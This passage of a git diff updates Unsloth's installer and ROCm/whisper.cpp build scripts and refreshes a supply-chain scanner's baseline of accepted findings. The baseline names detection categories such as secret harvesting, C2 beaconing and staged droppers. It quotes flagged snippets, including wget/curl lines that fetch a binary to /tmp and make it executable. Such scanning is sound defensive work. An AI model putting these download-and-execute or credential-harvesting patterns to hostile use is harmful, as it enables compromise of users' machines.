+            _install_torch_default_index --force-reinstall
+        fi
     fi
 else
     # Fallback: GPU detection failed to produce a URL -- let uv resolve torch
     tauri_log "STEP" "Installing Unsloth"
     substep "installing unsloth (this may take a few minutes)..."
     if [ "$STUDIO_LOCAL_INSTALL" = true ]; then
-        run_install_cmd_retry "install unsloth (auto torch backend)" uv pip install --python "$_VENV_PY" "unsloth-zoo>=2026.6.7" "unsloth>=2026.6.9" --torch-backend=auto
+        run_install_cmd_retry "install unsloth (auto torch backend)" uv pip install --python "$_VENV_PY" "unsloth-zoo>=2026.7.6" "unsloth>=2026.7.5" --torch-backend=auto
         substep "overlaying local repo (editable)..."
         run_install_cmd "overlay local repo" uv pip install --python "$_VENV_PY" -e "$_REPO_ROOT" --no-deps
         substep "overlaying unsloth-zoo from git main..."
@@ -2947,6 +3771,15 @@ else
     fi
 fi
 
+_installed_package_version=$("$_VENV_PY" -c \
+    'from importlib.metadata import version; import sys; print(version(sys.argv[1]))' \
+    "$PACKAGE_NAME" 2>/dev/null || true)
+if [ -n "$_installed_package_version" ]; then
+    step "$PACKAGE_NAME" "$_installed_package_version installed"
+else
+    substep "[WARN] installed $PACKAGE_NAME version could not be determined" "$C_WARN"
+fi
+
 # ── Enforce the installed torch flavor matches the detected GPU build ──
 # PEP 440 ignores the +cpu/+cuXXX/+rocm local label in a version range, so uv
 # keeps a stale torch==X+cpu against a GPU index and the venv silently trains on
@@ -2959,14 +3792,12 @@ if [ "$SKIP_TORCH" = false ] && [ -n "${TORCH_INDEX_URL:-}" ]; then
         _installed_torch_ver=$("$_VENV_PY" -c "import torch; print(torch.__version__)" 2>/dev/null || true)
         _installed_torch_tag=""
         [ -n "$_installed_torch_ver" ] && _installed_torch_tag=$(_torch_flavor_tag "$_installed_torch_ver")
-        # Repair when flavor is wrong AND the index is plain --index-url reinstallable
+        # Repair when flavor is wrong AND the index is plain --default-index reinstallable
         # (cuXXX / rocmX.Y / repo.amd.com gfx*); an unknown mirror leaf -> warn only.
         if [ -n "$_installed_torch_tag" ] && [ "$_installed_torch_tag" != "$_expected_torch_tag" ] \
            && [ "$(_torch_index_repairable "$TORCH_INDEX_URL")" = "yes" ]; then
             substep "PyTorch flavor mismatch (installed $_installed_torch_tag, need $_expected_torch_tag) -- reinstalling correct build..."
-            run_install_cmd "reinstall PyTorch ($_expected_torch_tag)" uv pip install --python "$_VENV_PY" \
-                "$TORCH_CONSTRAINT" torchvision torchaudio \
-                --index-url "$TORCH_INDEX_URL" \
+            _install_torch_default_index \
                 --reinstall-package torch --reinstall-package torchvision --reinstall-package torchaudio
             _installed_torch_ver=$("$_VENV_PY" -c "import torch; print(torch.__version__)" 2>/dev/null || true)
             _installed_torch_tag=""
@@ -2977,13 +3808,13 @@ if [ "$SKIP_TORCH" = false ] && [ -n "${TORCH_INDEX_URL:-}" ]; then
             substep "[WARN] PyTorch is CPU-only but a $_expected_torch_tag GPU build was expected for this machine." "$C_WARN"
             substep "[WARN] Training and GPU inference will run on CPU until this is fixed." "$C_WARN"
             substep "[WARN] Re-run this installer, or reinstall the GPU build manually:" "$C_WARN"
-            substep "[WARN]   uv pip install --python \"$_VENV_PY\" \"$TORCH_CONSTRAINT\" torchvision torchaudio --index-url $TORCH_INDEX_URL --reinstall-package torch --reinstall-package torchvision --reinstall-package torchaudio" "$C_WARN"
+            substep "[WARN]   uv pip install --python \"$_VENV_PY\" \"$TORCH_CONSTRAINT\" \"$TORCHVISION_CONSTRAINT\" \"$TORCHAUDIO_CONSTRAINT\" --default-index $(_strip_index_url_credentials "$TORCH_INDEX_URL") --reinstall-package torch --reinstall-package torchvision --reinstall-package torchaudio" "$C_WARN"
         fi
     fi
 fi
 
 # ── Run studio setup ──
-tauri_log "STEP" "Running Studio setup"
+tauri_log "STEP" "Running Unsloth setup"
 # When --local, use the repo's own setup.sh directly.
 # Otherwise, find it inside the installed package.
 SETUP_SH=""
@@ -3177,9 +4008,10 @@ printf "  ${C_TITLE}%s${C_RST}\n" "Unsloth Studio installed!"
 printf "  ${C_DIM}%s${C_RST}\n" "$RULE"
 echo ""
 
-# In interactive terminals, ask the user before starting Studio.
+# In interactive terminals, ask the user before starting Unsloth unless the
+# caller explicitly disabled the post-install prompt.
 # In non-interactive environments (Docker, CI, cloud-init) just print instructions.
-if [ -t 1 ]; then
+if [ "$_SKIP_AUTOSTART" != true ] && [ -t 1 ]; then
     echo ""
     printf "  Start Unsloth Studio now? [Y/n] "
     # No readable answer (closed/EOF tty) defaults to no; Enter is still yes.
@@ -3215,8 +4047,8 @@ if [ -t 1 ]; then
         *)
             step "launch" "to start later, run:"
             substep "unsloth studio -p 8888"
-            substep "(add -H 0.0.0.0 to allow network / cloud access)"
-            substep "(add --secure for a public Cloudflare HTTPS link; anyone with the API key can run code)"
+            substep "(add -H 0.0.0.0 for LAN / cloud access; exposes the raw port only, not a public URL)"
+            substep "(add -H 0.0.0.0 --cloudflare for a public Cloudflare HTTPS link, or --secure to keep the raw port private; anyone with the API key can run code)"
             echo ""
             ;;
     esac
@@ -3237,7 +4069,7 @@ else
         substep "source $_li_act_q"
         substep "unsloth studio -p 8888"
     fi
-    substep "(add -H 0.0.0.0 to allow network / cloud access)"
-    substep "(add --secure for a public Cloudflare HTTPS link; anyone with the API key can run code)"
+    substep "(add -H 0.0.0.0 for LAN / cloud access; exposes the raw port only, not a public URL)"
+    substep "(add -H 0.0.0.0 --cloudflare for a public Cloudflare HTTPS link, or --secure to keep the raw port private; anyone with the API key can run code)"
     echo ""
 fi
diff --git a/pyproject.toml b/pyproject.toml
index 844ead2454..fe0ebd13b9 100644
--- a/pyproject.toml
+++ b/pyproject.toml
@@ -25,7 +25,7 @@ classifiers = [
     "Topic :: Scientific/Engineering :: Artificial Intelligence",
 ]
 dependencies = [
-    "typer",
+    "typer>=0.12.0",
     "rich",
     "pydantic",
     "pyyaml",
@@ -42,6 +42,7 @@ version = {attr = "unsloth.models._utils.__version__"}
 include-package-data = true
 
 [tool.setuptools.package-data]
+unsloth_cli = ["codex_fallback_prompt.md", "pi_subagent.ts"]
 studio = [
     "*.sh",
     "*.ps1",
@@ -73,7 +74,7 @@ triton = [
 ]
 
 huggingfacenotorch = [
-    "unsloth_zoo>=2026.6.7",
+    "unsloth_zoo>=2026.7.6",
     "wheel>=0.42.0",
     "packaging",
     "numpy",
@@ -94,7 +95,7 @@ huggingfacenotorch = [
 ]
 huggingface = [
     "unsloth[huggingfacenotorch]",
-    "unsloth_zoo>=2026.6.7",
+    "unsloth_zoo>=2026.7.6",
     "torchvision",
     "unsloth[triton]",
 ]
@@ -579,7 +580,7 @@ colab-ampere-torch220 = [
     "flash-attn>=2.6.3 ; ('linux' in sys_platform)",
 ]
 colab-new = [
-    "unsloth_zoo>=2026.6.7",
+    "unsloth_zoo>=2026.7.6",
     "packaging",
     "tyro",
     "transformers>=4.51.3,!=4.52.0,!=4.52.1,!=4.52.2,!=4.52.3,!=4.53.0,!=4.54.0,!=4.55.0,!=4.55.1,!=4.57.0,!=4.57.4,!=4.57.5,!=5.0.0,!=5.1.0,<=5.5.0",
diff --git a/scripts/build_whisper_cpp.sh b/scripts/build_whisper_cpp.sh
new file mode 100755
index 0000000000..9f7e4d4ef3
--- /dev/null
+++ b/scripts/build_whisper_cpp.sh
@@ -0,0 +1,71 @@
+#!/bin/sh
+# Build whisper.cpp's whisper-server for Studio's GGUF dictation engine.
+#
+# Installs into the managed Studio home so the backend's binary discovery
+# (core/inference/stt_ggml_sidecar.py::find_whisper_server_binary) picks it up:
+#   <UNSLOTH_STUDIO_HOME>/whisper.cpp/build/bin/whisper-server   (custom home)
+#   ~/.unsloth/whisper.cpp/build/bin/whisper-server              (default)
+#
+# Usage:
+#   ./scripts/build_whisper_cpp.sh              # build the pinned tag
+#   WHISPER_CPP_TAG=v1.9.0 ./scripts/build_whisper_cpp.sh
+#
+# Requires: git, cmake, a C/C++ toolchain (the same prerequisites as a
+# llama.cpp source build). GPU backends are auto-detected by whisper.cpp's
+# CMake (Metal on macOS; set GGML_CUDA=1 to force a CUDA build on Linux).
+
+set -eu
+
+WHISPER_CPP_SOURCE="${WHISPER_CPP_SOURCE:-https://github.com/ggml-org/whisper.cpp}"
+WHISPER_CPP_TAG="${WHISPER_CPP_TAG:-v1.9.1}"
+
+STUDIO_HOME="${UNSLOTH_STUDIO_HOME:-${STUDIO_HOME:-}}"
+CUSTOM_STUDIO_HOME=false
+if [ -n "$STUDIO_HOME" ]; then
+    CUSTOM_STUDIO_HOME=true
+    INSTALL_DIR="$STUDIO_HOME/whisper.cpp"
+else
+    INSTALL_DIR="$HOME/.unsloth/whisper.cpp"
+fi
+
+command -v git >/dev/null 2>&1 || { echo "ERROR: git is required" >&2; exit 1; }
+command -v cmake >/dev/null 2>&1 || { echo "ERROR: cmake is required" >&2; exit 1; }
+
+# Same policy as studio/setup.sh's _assert_studio_owned_or_absent: never delete
+# a directory under a custom Studio home unless Studio itself created it (the
+# marker file below). Protects a user-managed whisper.cpp/src from rm -rf.
+STUDIO_OWNED_MARKER=".unsloth-studio-owned"
+if [ "$CUSTOM_STUDIO_HOME" = true ] && [ -e "$INSTALL_DIR" ] && \
+   [ ! -f "$INSTALL_DIR/$STUDIO_OWNED_MARKER" ]; then
+    echo "ERROR: $INSTALL_DIR already exists and is not marked as an Unsloth-owned whisper.cpp build tree." >&2
+    echo "       Move it aside or choose an empty UNSLOTH_STUDIO_HOME before re-running." >&2
+    exit 1
+fi
+
+echo "==> Building whisper.cpp ($WHISPER_CPP_TAG) into $INSTALL_DIR"
+mkdir -p "$INSTALL_DIR"
+: > "$INSTALL_DIR/$STUDIO_OWNED_MARKER"
+
+if [ ! -d "$INSTALL_DIR/src/.git" ]; then
+    rm -rf "$INSTALL_DIR/src"
+    git clone --depth 1 --branch "$WHISPER_CPP_TAG" "$WHISPER_CPP_SOURCE" "$INSTALL_DIR/src"
+else
+    git -C "$INSTALL_DIR/src" fetch --depth 1 origin "$WHISPER_CPP_TAG"
+    git -C "$INSTALL_DIR/src" checkout FETCH_HEAD
+fi
+
+CMAKE_FLAGS="-DCMAKE_BUILD_TYPE=Release -DBUILD_SHARED_LIBS=OFF"
+if [ "${GGML_CUDA:-0}" = "1" ]; then
+    CMAKE_FLAGS="$CMAKE_FLAGS -DGGML_CUDA=ON"
+fi
+
+# shellcheck disable=SC2086
+cmake -S "$INSTALL_DIR/src" -B "$INSTALL_DIR/src/build" $CMAKE_FLAGS
+NCPU="$(getconf _NPROCESSORS_ONLN 2>/dev/null || echo 4)"
+cmake --build "$INSTALL_DIR/src/build" --config Release --target whisper-server -j"$NCPU"
+
+mkdir -p "$INSTALL_DIR/build/bin"
+cp "$INSTALL_DIR/src/build/bin/whisper-server" "$INSTALL_DIR/build/bin/whisper-server"
+
+echo "==> Installed $INSTALL_DIR/build/bin/whisper-server"
+"$INSTALL_DIR/build/bin/whisper-server" --help >/dev/null 2>&1 && echo "==> Binary runs OK"
diff --git a/scripts/install_rocm_wsl_strixhalo.sh b/scripts/install_rocm_wsl_strixhalo.sh
index 5ef9ee386a..697aae933f 100644
--- a/scripts/install_rocm_wsl_strixhalo.sh
+++ b/scripts/install_rocm_wsl_strixhalo.sh
@@ -3,13 +3,14 @@
 # Copyright 2026-present the Unsloth AI Inc. team. All rights reserved.
 #
 # ──────────────────────────────────────────────────────────────────────────────
-# Enable ROCm-on-WSL for AMD Strix Halo (Radeon 8060S / gfx1151)
+# Enable ROCm-on-WSL for AMD GPUs (Strix Halo/Point APUs AND discrete Radeon RX
+# 7000/9000). Verified on gfx1151 (Radeon 8060S) and gfx1200 (Radeon RX 9060 XT).
 # ──────────────────────────────────────────────────────────────────────────────
-# install.sh already routes gfx1151 to the right ROCm wheels once a ROCm runtime
-# is present; what it does NOT do is install AMD's ROCm userspace + the WSL DXG
-# bridge. This helper automates that Linux-side prerequisite on Ubuntu 24.04
-# WSL2 and is invoked by install.sh when it sees a Strix Halo APU in WSL (via
-# /dev/dxg) but no ROCm runtime yet. Fully idempotent (re-run just re-verifies).
+# install.sh routes the detected arch to the right ROCm wheels once a runtime exists;
+# what it does NOT do is install AMD's ROCm userspace + the WSL DXG bridge (librocdxg).
+# This helper does that Linux-side prerequisite on Ubuntu 24.04 WSL2, invoked by
+# install.sh when it sees an AMD GPU via /dev/dxg but no ROCm yet. Arch-agnostic: the
+# arch is auto-detected from rocminfo (override UNSLOTH_WSL_GFX=gfx1200). Idempotent.
 #
 # Manual, admin-gated Windows prerequisite: an AMD Adrenalin driver with
 # production ROCDXG/WSL support (26.2.2+). install.ps1 offers to update it. Once
@@ -34,10 +35,12 @@ set -euo pipefail
 
 # ── Tunables (override via env) ──────────────────────────────────────────────
 ROCM_VER="${UNSLOTH_WSL_ROCM_VER:-7.2.1}"            # ROCm release to install
-GFX="gfx1151"
+# GPU arch: empty = auto-detect from rocminfo after install (override UNSLOTH_WSL_GFX=gfx1200).
+# The ROCm + librocdxg setup is arch-agnostic; only verify + the smoke test need the arch.
+GFX="${UNSLOTH_WSL_GFX:-}"
 LIBROCDXG_REF="${UNSLOTH_LIBROCDXG_REF:-develop}"    # ROCm/librocdxg git ref to build
-# AMD's gfx1151 wheel index (same one install.sh uses); only for the smoke test.
-TORCH_INDEX="${UNSLOTH_AMD_ROCM_MIRROR:-https://repo.amd.com/rocm/whl}/${GFX}/"
+# AMD's wheel index for the (optional) smoke test; resolved after arch detection.
+TORCH_INDEX=""
 # Optional torch smoke test (throwaway venv). OFF by default: install.sh installs
 # torch itself into the real venv right after, so a duplicate download is wasteful.
 SMOKE_TEST="${UNSLOTH_WSL_SMOKE_TEST:-0}"
@@ -216,16 +219,16 @@ fi
 echo "${ROCM_DIR}/lib" | $SUDO tee /etc/ld.so.conf.d/rocm.conf >/dev/null
 $SUDO ldconfig
 
-# ── Step 4: persist environment (system-wide so Studio's worker inherits it) ──
+# ── Step 4: persist environment (system-wide so Unsloth's worker inherits it) ──
 say "Persisting ROCm-on-WSL environment"
 _envfile="/etc/profile.d/unsloth-rocm-wsl.sh"
 $SUDO tee "$_envfile" >/dev/null <<EOF
-# >>> Unsloth ROCm-on-WSL (gfx1151) >>>
+# >>> Unsloth ROCm-on-WSL >>>
 export HSA_ENABLE_DXG_DETECTION=1
 export TORCH_ROCM_AOTRITON_ENABLE_EXPERIMENTAL=1
 export PATH="${ROCM_DIR}/bin:\${PATH}"
 export LD_LIBRARY_PATH="${ROCM_DIR}/lib:\${LD_LIBRARY_PATH:-}"
-# <<< Unsloth ROCm-on-WSL (gfx1151) <<<
+# <<< Unsloth ROCm-on-WSL <<<
 EOF
 # also drop into ~/.bashrc for interactive shells
 if [ -n "${HOME:-}" ] && ! grep -q "Unsloth ROCm-on-WSL" "${HOME}/.bashrc" 2>/dev/null; then
@@ -237,32 +240,50 @@ export PATH="${ROCM_DIR}/bin:${PATH}"
 export LD_LIBRARY_PATH="${ROCM_DIR}/lib:${LD_LIBRARY_PATH:-}"
 
 # ── Step 5: verify the runtime enumerates the GPU ────────────────────────────
-say "Verifying rocminfo sees ${GFX}"
+say "Verifying rocminfo enumerates the GPU over DXG"
 # Capture rocminfo into a var BEFORE grepping: piping into `grep -q` SIGPIPEs
 # rocminfo on first match, which under `set -o pipefail` turns a successful match
-# into a pipeline failure. Match the gfx1151 ISA "Name:" agent exactly (not a
-# broad gfx1[0-9]) so a generic fallback ISA or unrelated RDNA GPU can't pass.
+# into a pipeline failure.
 _rocminfo_out="$(rocminfo 2>/dev/null || true)"
-if ! printf '%s\n' "$_rocminfo_out" | grep -qE "Name:[[:space:]]*${GFX}([^0-9]|$)"; then
+# GPU agents advertise an ISA "Name: gfxNNNN". Match gfx[1-9] (excludes gfx000, the CPU
+# agent), drop the "gfx*-generic" fallback ISA, and take the first real GPU arch.
+_detected_gfx="$(printf '%s\n' "$_rocminfo_out" | grep -E 'Name:[[:space:]]*gfx[1-9]' | grep -v 'generic' | grep -oE 'gfx[1-9][0-9a-z]*' | head -1 || true)"
+if [ -z "$_detected_gfx" ]; then
     printf '%s\n' "$_rocminfo_out" | head -25 >&2 || true
-    die "rocminfo did not enumerate a ${GFX} GPU agent. Most common cause: the Windows AMD driver predates production ROCDXG -- update Adrenalin (install.ps1 offers this), reboot, and re-run."
+    die "rocminfo did not enumerate any GPU agent. Most common cause: the Windows AMD driver predates production ROCDXG -- update Adrenalin (install.ps1 offers this), reboot, and re-run."
 fi
+# Honour a caller-pinned arch (sanity-check via a consuming grep, not grep -q: under
+# pipefail -q would SIGPIPE printf on large output and misreport the arch); else adopt.
+if [ -n "$GFX" ] && ! printf '%s\n' "$_rocminfo_out" | grep -E "Name:[[:space:]]*${GFX}([^0-9]|$)" >/dev/null; then
+    die "rocminfo enumerated '${_detected_gfx}' but not the requested UNSLOTH_WSL_GFX='${GFX}'."
+fi
+GFX="${GFX:-$_detected_gfx}"
 # Display-only summary: best-effort (|| true) so head's early pipe-close under
 # `set -o pipefail` can't fail the bootstrap after verification already passed.
 printf '%s\n' "$_rocminfo_out" | grep -E 'Marketing Name|Device Type|Compute Unit' | grep -iE "Radeon|GPU|Compute" | head -3 || true
 note "ROCm-on-WSL runtime is live for ${GFX}."
 
-# ── Step 6 (optional): torch smoke test from the gfx1151 index ───────────────
+# ── Step 6 (optional): torch smoke test from AMD's per-arch wheel index ───────
 if [ "$SMOKE_TEST" = "1" ]; then
     say "Smoke-testing PyTorch on ${GFX} (throwaway venv)"
+    # Map the detected arch to AMD's repo.amd.com wheel family index.
+    case "$GFX" in
+        gfx1200|gfx1201)                 _fam="gfx120X-all" ;;
+        gfx1100|gfx1101|gfx1102|gfx1103) _fam="gfx110X-all" ;;
+        *)                               _fam="$GFX" ;;   # gfx1150/gfx1151/gfx90a: own index
+    esac
+    TORCH_INDEX="${UNSLOTH_AMD_ROCM_MIRROR:-https://repo.amd.com/rocm/whl}/${_fam}/"
     _venv="${HOME}/.unsloth/rocm-smoketest"
     rm -rf "$_venv"; python3 -m venv "$_venv"
     "$_venv/bin/pip" install --quiet --upgrade pip
-    # gfx1151 index is primary (torch + triton); PyPI only an extra for pure-py
+    # AMD arch index is primary (torch + triton); PyPI only an extra for pure-py
     # deps. The constraint keeps pip on the ROCm wheel, not a newer PyPI CUDA torch.
     "$_venv/bin/pip" install --index-url "$TORCH_INDEX" \
         --extra-index-url https://pypi.org/simple "$TORCH_CONSTRAINT" || \
         die "torch install from ${TORCH_INDEX} failed."
+    # WSL: torch's bundled ROCr must load the DXG bridge -- drop librocdxg into torch/lib.
+    _tlib="$("$_venv/bin/python" -c 'import torch,os;print(os.path.join(os.path.dirname(torch.__file__),"lib"))' 2>/dev/null || true)"
+    [ -d "$_tlib" ] && cp -f "${ROCM_DIR}"/lib/librocdxg.so* "$_tlib"/ 2>/dev/null || true
     "$_venv/bin/python" - <<'PY'
 import torch
 ok = torch.cuda.is_available()
diff --git a/scripts/lockfile_supply_chain_audit.py b/scripts/lockfile_supply_chain_audit.py
index 66b48c094d..f9cf726dc1 100644
--- a/scripts/lockfile_supply_chain_audit.py
+++ b/scripts/lockfile_supply_chain_audit.py
@@ -2,7 +2,7 @@
 # SPDX-License-Identifier: AGPL-3.0-only
 # Copyright 2026-present the Unsloth AI Inc. team. All rights reserved.
 
-"""Lockfile supply-chain audit for the Studio frontend and Tauri shell.
+"""Lockfile supply-chain audit for the Unsloth frontend and Tauri shell.
 
 Runs BEFORE `npm ci` / `cargo fetch` in CI. Refuses to proceed when a
 lockfile contains patterns indicating supply-chain injection (npm
@@ -294,7 +294,7 @@ CARGO_REGISTRY_SOURCE = "registry+https://github.com/rust-lang/crates.io-index"
 
 # Cargo non-registry source allowlist: `(crate_name, exact_source_string)`.
 # Both must match verbatim; bumping the pinned SHA forces a re-review.
-# Studio's Tauri shell pulls `fix-path-env` from git because it is not
+# Unsloth's Tauri shell pulls `fix-path-env` from git because it is not
 # published to crates.io; commit c4c45d5 was reviewed when it landed.
 CARGO_SOURCE_ALLOWLIST: tuple[tuple[str, str], ...] = (
     (
diff --git a/scripts/scan_npm_packages.py b/scripts/scan_npm_packages.py
index 47b85147ca..6c83552727 100644
--- a/scripts/scan_npm_packages.py
+++ b/scripts/scan_npm_packages.py
@@ -62,7 +62,7 @@ REPO_ROOT = Path(__file__).resolve().parents[1]
 # Hard caps (deliberately conservative; npm tarballs in this repo are
 # all well under these limits, so a packaging spike is noticeable).
 # ─────────────────────────────────────────────────────────────────────
-# Caps calibrated against the real Studio frontend transitive closure:
+# Caps calibrated against the real Unsloth frontend transitive closure:
 #   - typescript.js is 9.1 MB (TS compiler bundled into one file)
 #   - mermaid 11.x dist/mermaid.js.map is ~12 MB (sourcemap)
 #   - lightningcss-linux-x64-{gnu,musl}.node is 10 MB
diff --git a/scripts/scan_packages_baseline.json b/scripts/scan_packages_baseline.json
index 046566d148..65b8d2b11c 100644
--- a/scripts/scan_packages_baseline.json
+++ b/scripts/scan_packages_baseline.json
@@ -39,7 +39,7 @@
       "file": "botocore/utils.py",
       "check": "Reads credential paths AND makes network calls",
       "severity": "CRITICAL",
-      "evidence": "Creds: L3551:     CACHE_DIR = os.path.expanduser(os.path.join('~', '.aws', 'boto', 'cache')) | L3721:         return os.path.expanduser(os.path.join('~', '.aws', 'login', 'cache'))\nNetwork: L32: from urllib.request import getproxies, proxy_bypass",
+      "evidence": "Creds: L3551:     CACHE_DIR = os.path.expanduser(os.path.join('~', '.aws', 'boto', 'cache')) | L3719:         return os.path.expanduser(os.path.join('~', '.aws', 'login', 'cache'))\nNetwork: L32: from urllib.request import getproxies, proxy_bypass",
       "evidence_hash": "2d691bc373ab872aad23c744104596ba6d0d9f3b35aa101c7edbff4429b174c1"
     },
     {
@@ -55,23 +55,23 @@
       "file": "datasets/utils/file_utils.py",
       "check": "C2 polling/beaconing loop detected",
       "severity": "CRITICAL",
-      "evidence": "L443:     while True: sha256:feba37d77721aa658e1786d2e4b67de76fefe1ceeb3ce8529d361c5241778eea",
-      "evidence_hash": "2e458563dec752d0a9896c9685d368d9906867110db315ab751e3eb6ec63f51c"
+      "evidence": "L441:     while True: sha256:ce92e38c17c524815e1f9055be77235028c1e68e41b45cbfe9c8f1b867a205da",
+      "evidence_hash": "cb36281d28a975d101121c0702ee05eeee470879520d39a8be552129333f514d"
     },
     {
       "package": "datasets",
       "file": "datasets/utils/file_utils.py",
       "check": "C2 polling/beaconing loop detected",
       "severity": "CRITICAL",
-      "evidence": "L441:     while True: sha256:ce92e38c17c524815e1f9055be77235028c1e68e41b45cbfe9c8f1b867a205da",
-      "evidence_hash": "cb36281d28a975d101121c0702ee05eeee470879520d39a8be552129333f514d"
+      "evidence": "L443:     while True: sha256:feba37d77721aa658e1786d2e4b67de76fefe1ceeb3ce8529d361c5241778eea",
+      "evidence_hash": "2e458563dec752d0a9896c9685d368d9906867110db315ab751e3eb6ec63f51c"
     },
     {
       "package": "diffusers",
       "file": "diffusers/utils/import_utils.py",
       "check": "Downloads and executes remote code",
       "severity": "CRITICAL",
-      "evidence": "L1015:             return importlib.import_module(\".\" + module_name, self.__name__)",
+      "evidence": "L1052:             return importlib.import_module(\".\" + module_name, self.__name__)",
       "evidence_hash": "e584ecfdb097d9482bb19cd3992813bc1a119cfd4c40af14748bafe22900d91e"
     },
     {
@@ -79,7 +79,7 @@
       "file": "diffusers/utils/testing_utils.py",
       "check": "Harvests environment variables/secrets AND makes network calls",
       "severity": "CRITICAL",
-      "evidence": "Env: L233:         value = os.environ[key]\nNetwork: L688:             response = requests.get(arry, timeout=DIFFUSERS_REQUEST_TIMEOUT) | L709:     response = requests.get(url, timeout=DIFFUSERS_REQUEST_TIMEOUT) | L728:             image = PIL.Image.open(requests.get(image, stream=True, timeout=DIFFUSERS_REQUEST_TIMEOUT).raw)",
+      "evidence": "Env: L236:         value = os.environ[key]\nNetwork: L691:             response = requests.get(arry, timeout=DIFFUSERS_REQUEST_TIMEOUT) | L712:     response = requests.get(url, timeout=DIFFUSERS_REQUEST_TIMEOUT) | L731:             image = PIL.Image.open(requests.get(image, stream=True, timeout=DIFFUSERS_REQUEST_TIMEOUT).raw)",
       "evidence_hash": "671190a6106c6ee9674e5e5942dc0940e1d2f8c78d5faf674413c2345b783fd9"
     },
     {
@@ -90,12 +90,20 @@
       "evidence": "Archive: L317: a['TarFileType'] = tarfile.open(fileobj=_fileW,mode='w')\nNetwork: L330: x['SocketType'] = _socket = socket.socket()",
       "evidence_hash": "894862e547cf91b90cd6e4b495db3fb05b7490ef0d63de7e795a7e3d9447d850"
     },
+    {
+      "package": "fastapi",
+      "file": "fastapi/routing.py",
+      "check": "C2 polling/beaconing loop detected",
+      "severity": "CRITICAL",
+      "evidence": "L587:                                 while True: sha256:06c2c7f15d73bf192e5e3272c5ff5fcaeff7f6774fef5f4eca6ef473ae50e2b3",
+      "evidence_hash": "57acd497f404c203e4450d0580ad85aa8a33406e8d64ad06fbac6cf47d97b24d"
+    },
     {
       "package": "fastmcp-slim",
       "file": "fastmcp/cli/apps_dev.py",
       "check": "Creates archive with sensitive data AND makes network calls",
       "severity": "CRITICAL",
-      "evidence": "Archive: L1340:     with tarfile.open(fileobj=io.BytesIO(data), mode=\"r:gz\") as tar:\nNetwork: L1291:     with httpx.Client(timeout=30.0) as client: | L1305:     with httpx.Client(timeout=30.0) as client: | L1335:     with httpx.Client(timeout=30.0) as client: | L1537:         client = httpx.AsyncClient(\nL1538:             timeout=httpx.Timeout(60.0, read=None), trust_env=False\nL1539:         ) | L1701:     async with httpx.AsyncClient(trust_env=False) as client: | L1769:                     with socket.socket(family, socket.SOCK_STREAM) as s:",
+      "evidence": "Archive: L1353:     with tarfile.open(fileobj=io.BytesIO(data), mode=\"r:gz\") as tar:\nNetwork: L1304:     with httpx.Client(timeout=30.0) as client: | L1318:     with httpx.Client(timeout=30.0) as client: | L1348:     with httpx.Client(timeout=30.0) as client: | L1549:         client = httpx.AsyncClient(\nL1550:             timeout=httpx.Timeout(60.0, read=None), trust_env=False\nL1551:         ) | L1713:     async with httpx.AsyncClient(trust_env=False) as client: | L1781:                     with socket.socket(family, socket.SOCK_STREAM) as s:",
       "evidence_hash": "73a7a72013e9f800627ea07e6dbc3beeb8c905a6a5480c8fd896f0063173d25c"
     },
     {
@@ -103,8 +111,8 @@
       "file": "fastmcp/cli/apps_dev.py",
       "check": "Enumerates filesystem AND makes network calls",
       "severity": "CRITICAL",
-      "evidence": "FS: L624:     history.replaceState(null, \"\", url); sha256:fd8dbfa8af4dea2ce43f4d441f3f81239de341b76a2eb0a33c446f6757ce5f43\nNetwork: L1291:     with httpx.Client(timeout=30.0) as client: | L1305:     with httpx.Client(timeout=30.0) as client: | L1335:     with httpx.Client(timeout=30.0) as client: | L1537:         client = httpx.AsyncClient(\nL1538:             timeout=httpx.Timeout(60.0, read=None), trust_env=False\nL1539:         ) | L1701:     async with httpx.AsyncClient(trust_env=False) as client: | L1769:                     with socket.socket(family, socket.SOCK_STREAM) as s:",
-      "evidence_hash": "6ada4a9111213bdee5ea24c70a72ec4acdc8ffe0de4a01fd9835bc261ccab8f8"
+      "evidence": "FS: L637:     history.replaceState(null, \"\", url); sha256:17068ba5bfed62c3a3007ec8bf3e0ea41ef6529b9e6112064d9afb3be9231436\nNetwork: L1304:     with httpx.Client(timeout=30.0) as client: | L1318:     with httpx.Client(timeout=30.0) as client: | L1348:     with httpx.Client(timeout=30.0) as client: | L1549:         client = httpx.AsyncClient(\nL1550:             timeout=httpx.Timeout(60.0, read=None), trust_env=False\nL1551:         ) | L1713:     async with httpx.AsyncClient(trust_env=False) as client: | L1781:                     with socket.socket(family, socket.SOCK_STREAM) as s:",
+      "evidence_hash": "e5325edfada6499540e6f0c24a0868979d275522e2b6a180aa9b5dd3280681b4"
     },
     {
       "package": "fonttools",
@@ -132,19 +140,35 @@
     },
     {
       "package": "huggingface-hub",
-      "file": "huggingface_hub/hf_api.py",
+      "file": "huggingface_hub/_sandbox.py",
       "check": "C2 polling/beaconing loop detected",
       "severity": "CRITICAL",
-      "evidence": "L3746:         while True: sha256:0c73ed1a7447120b112c063b14e720c6695bc11d00eb6b912cd0f10dc3e29b31",
-      "evidence_hash": "22f50b930e44146c5350bb99e6e6ebb09feea9bf1e899e407bedc4ffaf06721b"
+      "evidence": "L1179:             while True: sha256:33ceddf9e42aae207e891e97808c518e92a0b27ab60e4326256717bfb25a3a38",
+      "evidence_hash": "802fd41d8bb17bf425e99d128c0351c820103a5efb74690a4086e542a71437b8"
+    },
+    {
+      "package": "huggingface-hub",
+      "file": "huggingface_hub/_sandbox.py",
+      "check": "Writes to /tmp and executes (staged dropper)",
+      "severity": "CRITICAL",
+      "evidence": "L83: d=/tmp/.sbx-server\nL84: if command -v wget >/dev/null 2>&1; then wget -q --header \"Authorization: Bearer $SBX_DL_TOKEN\" -O \"$d\" \"$SBX_SERVER_URL\"\nL85: elif command -v curl >/dev/null 2>&1; then curl -fsSL -H \"Authorization: Bearer $SBX_DL_TOKEN\" -o \"$d\" \"$SBX_SERVER_URL\"\nL86: else cp \"$SBX_SERVER_MOUNT/sbx-server\" \"$d\"; fi\nL87: chmod +x \"$d\"",
+      "evidence_hash": "6908a3fe328fa94ee22a119998d6ad07cfa1ba4efa2628acf240f4204fd76e22"
     },
     {
       "package": "huggingface-hub",
       "file": "huggingface_hub/hf_api.py",
       "check": "C2 polling/beaconing loop detected",
       "severity": "CRITICAL",
-      "evidence": "L4600:         while True: sha256:f4a851312a1832efe1b435aa1275a82184e19cc3f47e2cd244373d56c11de272",
-      "evidence_hash": "dc8fcf44788e32f42d1cc2eb0e2deb55eb2dbf2c3a55909a7d503e450f45e602"
